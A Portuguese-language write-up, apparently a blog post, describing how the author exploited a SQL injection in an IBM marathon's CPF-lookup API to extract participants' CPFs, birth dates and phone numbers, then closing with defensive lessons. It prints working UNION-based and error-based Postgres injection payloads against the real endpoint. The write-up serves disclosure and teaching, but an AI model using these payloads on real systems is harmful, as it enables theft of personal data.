Como obtive dados de todos os participantes da maratona IBM Behind The Code
Entenda como o processo funciona e aprenda a prevenir tais ataques
Antes de começar
- Assim que descobri a brecha, informei o responsável. A brecha de segurança já foi corrigida.
- O objetivo deste artigo não é incentivar o extravio de informações, apenas mostrar como alguém pode explorar uma simples vulnerabilidade do sistema e mostrar o que você pode fazer para evitar.
- Não possuo mais nenhum dos dados e não os passei a ninguém.
- Espero que não vejam tal artigo com maus olhos, o propósito é didático e mostra um caso real que possibilita aprendermos muito mais do que meras simulações e exemplos.
Sobre a maratona da IBM
A IBM lançou uma maratona chamada Behind The Code que está rolando neste mês de julho de 2019 para incentivar as pessoas a conhecerem o Watson (IA) e a IBM Cloud através de desafios bem interessantes.
Cada semana um desafio novo é disponibilizado aos participantes e eles tem até o final deste mês para entregar todos.
O desafio está disponível em https://maratona.dev/ para os interessados.
Uma verificação simples 🕵️♂️
Ao longo das primeiras semanas alguns responsáveis pela maratona sentiram a necessidade de criar uma aplicação simples, que permitiria aos usuários consultar se seus desafios haviam sido entregues com sucesso.
Criaram um site (disponível em: https://desafios.mybluemix.net/) que possibilitaria ao participante digitar seu próprio CPF e verificar se os desafios haviam sido enviados com sucesso.
EDIT: Após a escrita desse artigo, por alguma razão, o site foi removido do ar mesmo com a brecha corrigida.

Até aqui tudo bem, por mera curiosidade️ ️decidi dar uma olhada na aba requests do meu navegador e verificar que tipo de API estava sendo usada para tal consulta, e identifiquei que era:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=(NUMERO_CPF_AQUI)
Após correção do erro, este endereço e comportamento foi modificado para ser um POST para o próprio endereço.
Não podia deixar de imaginar como essa query string estaria sendo consumida dentro do sistema, então comecei a considerar se poderia estar sensível a um ataque simples de SQL Injection.
SQL Injection
SQL é a linguagem utilizada em banco dados, e como o próprio nome “injection” sugere, é uma brecha onde você consegue executar comandos SQL dentro de uma aplicação de terceiros.
É uma falha gravíssima que permite um usuário fazer coisas desde deletar dados até extrair informações.
Decidi apenas testar o comando mais básico possível e ver o resultado:
' or '1' = '1
Que produziria algo como:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' or '1' = '1
Para minha surpresa a página retornou uma exception com um stacktrace.
O primeiro erro 💣
Fiquei tão extasiado que esqueci de tirar print, desculpem
Esse foi o estopim do “ataque”, se eu tivesse recebido uma resposta mais genérica como “não encontrado” isso teria me desmotivado instantaneamente. Então fica a primeira lição:
Gere logs de erros para consumo interno dos desenvolvedores - Nunca exponha exceptions e stacktraces. São informações valiosas pra quem procura brechas no seu sistema.
A partir deste momento, está claro que o desenvolvedor responsável fez algo muito similar a isto (pseudo-código):
cpf = request.get.params.cpf;db.query("SELECT * FROM desafios where cpf='" + cpf + "'");
No exemplo acima, cpf é a variável que contém meu código malicioso, neste momento eu posso executar qualquer comando no banco de dados deles sem ao menos saber a senha, usuário ou host do banco.
Fica então a segunda lição: SEMPRE filtre todo e qualquer comando que provém do usuário — não permita que ele tenha poder sobre a informação que chega até seu banco.
Reconhecendo o banco de dados 🔍
Antes que possamos executar qualquer comando, eu preciso descobrir que banco eles utilizam: Postgres, MySql, SQLServer ou etc. Isso vai facilitar minha vida na hora de montar as minhas queries.
Podemos tentar advinhar esse tipo de coisa ao tentar consultar tabelas exclusivas de cada banco.
Comecei com a suspeita de que poderia ser MySQL, então tentei a seguinte query:
SELECT * FROM information_schema.tables --
E pra minha surpresa obtive uma exception deixando bem claro que a tabela não existe. Ótimo, não é MySQL, próximo…
Minha próxima aposta seria um Postgres, nenhum motivo especial, apenas suposição.
SELECT * FROM pg_catalog.pg_tables; --
E advinha só: Acertei em cheio! No entanto ainda obtive um erro.
Desculpe a falta de prints, não estava acreditando no progresso que tive tão rapidamente. Você pode encontrar imagens nos próximos passos para entender melhor como foi a experiência.
Ao ler o erro exibido, me fez entender que o código tem uma regra clara, ele deve retornar um resultado numérico (como 1, 0, ou outro) e essa query claramente retorna muito mais que isso.
Mas quem se importa com o erro? Eu já identifiquei qual é o banco, é um grande avanço!
Vamos supor… 🤔
Bom, até aqui já sabemos:
- Os meus comandos SQL estão sendo executados no servidor deles e me retornando informações valiosas (exception e stacktrace);
- O banco deles é Postgres;
- Para que eu possa obter e ler resultados do banco, minha query deve retornar uma coluna única de valor numérico;
Bom, mas que informação obter primeiro? Vou começar do básico, todo sistema tem uma tabela usuario, será que esse também?
Vamos tentar:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' and '1' = '2' UNION SELECT cpf FROM usuario; --
No comando acima, eu anulo qualquer retorno da tabela que eles estavam consultando inicialmente ao criar uma condição impossível (1 = 2 nunca será verdadeiro), ao adicionar o UNION SELECT eu posso especificar uma segunda tabela que desejo “combinar” na obtenção do resultado.
BINGO!
A tabela existe, a coluna existe. Mas ainda há um erro. Novamente a stacktrace vai me ajudar a entender o que houve!
Neste exemplo ele deixa claro que ele tentou converter o CPF no formato “000.000.000–00” para número e não foi possível.

Não se preocupe, como sei que o banco é Postgres, eu posso utilizar a função regexp_replace para remover tudo que não for número do valor!
Logo, devo tentar fazer a seguinte request:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' and '1' = '2' UNION SELECT regexp_replace(cpf, '\D','','g')::numeric FROM usuario; --
Note que estou limpando todos os pontos e traços, mantendo apenas os números e convertendo os resultados.

O retorno da nossa request foi excessivamente amigável. (Com certeza muito mais do que deveria).
Informou que nos retornou 25.475 CPFs de todos os participantes.
Eu sei que vocês devem estar estranhando o “id_desafio” ali, mas confie em mim: isto é apenas para consumo da aplicação. A informação real ali é o CPF de todos os participantes no formato “00000000”
Neste momento quis deixar a criatividade fluir e quis saber se eu poderia advinhar que outras colunas “numéricas” eu poderia conseguir extrair, não foi difícil arriscar: “datanascimento” e “telefone”.

Aqui fica engraçado. Ao arriscar “datanascimento”, o banco me corrigiu e indicou a coluna correta: “data_nascimento”
Devo repetir a primeira lição aqui: Gere logs de erros para consumo interno dos desenvolvedores — Nunca exponha exceptions e stacktraces.
De qualquer forma, obrigado, Postgres! Agora posso realizar com sucesso:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' and '1' = '2' UNION SELECT to_char(data_nascimento,'DMMYYYY')::numeric FROM usuario--
e também:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' and '1' = '2' UNION SELECT regexp_replace(telefone, '\D','','g')::numeric FROM usuario WHERE length(telefone) > 5--
Precisei utilizar where no telefone porque notei alguns telefones com campo vazio ou confuso que impossibilitaram o retorno da query.
Explorando — Até onde podemos ir? 🗺️
Ok, já tenho dados dos participantes, mas estou curioso, o que mais posso extrair daqui?
Essa pergunta só pode ser respondida se eu descobrir quais tabelas nós temos. Já sabemos que temos um banco Postgres, mas como posso retornar um valor string se a query só retorna valores numéricos?
Bom, a esta altura do campeonato já estou considerando o stacktrace e as exceptions minhas amigas. Vou gerar intencionalmente erros que possibilite eu extrair o que desejo.
A tabela do Postgres que guarda esse tipo de informação vive em pg_catalog.pg_tables.
O que será que acontece quando eu tento converter uma string que é claramente um nome para um número?

Acertou corretamente se achou que a exception ia me informar que string “tabelaX” não pode ser convertida para número.
Me permitem repetir mais uma vez?
Gere logs de erros para consumo interno dos desenvolvedores — Nunca exponha exceptions e stacktraces.
Agora foi questão de paciência, tive que criar condições para filtrar tabelas que eu já havia consultado previamente e ir observando cada erro calmamente.
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' and '1' = '2' UNION SELECT tablename::numeric FROM pg_catalog.pg_tables where tablename not in ('desafio', 'usuario', 'promocodes') and tablename not like 'pg_%' and tablename not like 'sql_%' --
Fui seguindo com paciência até que identifiquei todas as tabelas que achei interessante:
- promocodes
- progresso_desafio
- pontos
Em especial, cada fase da maratona é composta por desafios, e em caso de empate, aquele que enviou primeiro ganha. Justo, o único detalhe chato é que esse tipo de informação não poderia ser informada previamente pros participantes.
Bom, já que estou aqui por que não descobrir quantos pontos eu obtive na primeira fase? (SPOILER: Não fui muito bem haha)
Preciso saber quais colunas cada tabela tem. Não deve ser diferente da técnica que usamos pra identificar as tabelas.
No fim (com a mesma paciência), através da request:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' and '1' = '2' UNION SELECT column_name::numeric FROM information_schema.columns where table_name='progresso_desafio' and column_name not in ('id_usuario', 'id_desafio', 'pontos', 'tempo_envio', 'status_envio', 'erro_actions', 'erro_counter') --

descobri as seguintes colunas para a tabela progresso_desafio:
- pontos
- tempo_envio
- status_envio
- erro_actions
- erro_counter
É interessante saber que eles tem uma contagem de erros, me questiono como é usado dentro da aplicação.
Sabendo as colunas ficou facil, bastou executar esta query para obter minha pontuação:
GET https://8d829621.us-south.apiconnect.appdomain.cloud/users?cpf=' and '1' = '2' UNION SELECT pontos FROM progresso_desafio where id_usuario = 'MEUID'--
Lições e aprendizados 📖
Nomenclatura de tabelas
Eu não sou contra ter tabela com nomes óbvios: “usuario”, “desafio”, e etc. Fazem parte do dia-a-dia dos desenvolvedores e são necessárias para um desenvolvimento ágil da aplicação, então não tenho nada a comentar sobre.
Eu sou a favor de criar todos os bloqueios possíveis para impedir que um invasor encoste em qualquer parte do banco, então não me importo com a nomenclatura das tabelas que usar.
Controle de usuário da aplicação
Pude executar uma série de comandos. Muito provavelmente eu poderia ter realizado algo grave como um UPDATE na pontuação de algum participante ou DELETE no desafio de alguém. Não tentei esses comandos, pois caso funcionasse eu não saberia como retornar ao valor inicial. Se essa suposição estiver correta (como as minhas suposições anteriores estavam) isso seria um grande problema.
Sempre que fizer uma pequena aplicação com um propósito específico (como um microservice) e esta aplicação tiver acesso ao banco de dados, tenha um usuário para a aplicação com políticas de acesso o mais limitadas possível.
Claramente, o único propósito dessa aplicação é retornar se um participante finalizou o desafio. Logo, deveria haver um usuário no banco com permissões de APENAS SELECT NAS TABELAS USUARIO E PROGRESSO_DESAFIO.
Dessa forma eu sofreria para descobrir as demais tabelas, (já que as tabelas information_schema.columns e pg_catalog.pg_tables seriam bloqueadas pra aplicação), não seria possível mudar ou deletar informações (caso possível) e a brecha seria bem menor.
Erros devem ser alertas!
Exceptions não são algo comum em aplicação nenhuma. Se um usuário tentar dividir por 0 em uma calculadora, ele espera que a calculadora informe algo como “impossível dividir por 0” ao invés de algo como “Exception thrown at X can’t divide by zero”. Você deve tratar todas as possibilidades de erro do seu código! Se uma aplicação começa a disparar várias exceptions (como eu intencionalmente causei em passos anteriores) deve haver alguma forma de alerta (indico uma ferramenta como https://sentry.io) para que os desenvolvedores ajam rapido!
Eles poderiam ter verificado um aumento nos erros, ter verificado as mesmas exceptions que eu vi, e ao notar o comportamento estranho poderiam ter me interrompido antes de eu obter todos as informações que obtive acima.
Não confie nos usuários

Não, eles não vão usar sua aplicação como você espera.
Se o campo só permite números, ELES VÃO DIGITAR LETRAS.
Se o campo só permite CPF, eles vão tentar um comando SQL!
Esteja preparado, se só permite CPF. Valide que o CPF exista, garanta que não há nada diferente de digitos, filtre tudo que for diferente do que vocês espera.
SEMPRE filtre todo e qualquer comando que provém do usuário — não permita que ele tenha poder sobre a informação que chega até seu banco.
E para finalizar com chave de ouro, torno a repetir a lição mais preciosa (e mais cara) que tornou possível prosseguir com a brecha:
Gere logs de erros para consumo interno dos desenvolvedores — Nunca exponha exceptions e stacktraces.
Seria tão desanimador se ao tentar a primeira SQL Injection eu tivesse recebido um 404 sem graça como é agora.

Conclusão
Neste momento já tenho informações suficientes para dizer que a brecha é gravíssima e expõe demais os participantes da maratona.
Agradeço aos responsáveis da maratona pela rapida correção (foi corrigido no dia seguinte).
E por fim, claramente com 30 pontos não irei ganhar a maratona 😢 fica pra próxima.